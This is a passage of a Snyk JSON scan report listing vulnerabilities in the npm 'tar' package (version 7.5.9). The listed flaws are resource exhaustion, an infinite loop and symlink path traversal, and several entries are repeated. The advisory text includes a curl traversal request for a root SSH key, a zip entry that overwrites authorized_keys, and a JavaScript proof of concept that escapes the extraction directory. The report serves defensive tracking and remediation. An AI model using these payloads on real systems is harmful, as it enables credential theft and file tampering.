"SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": 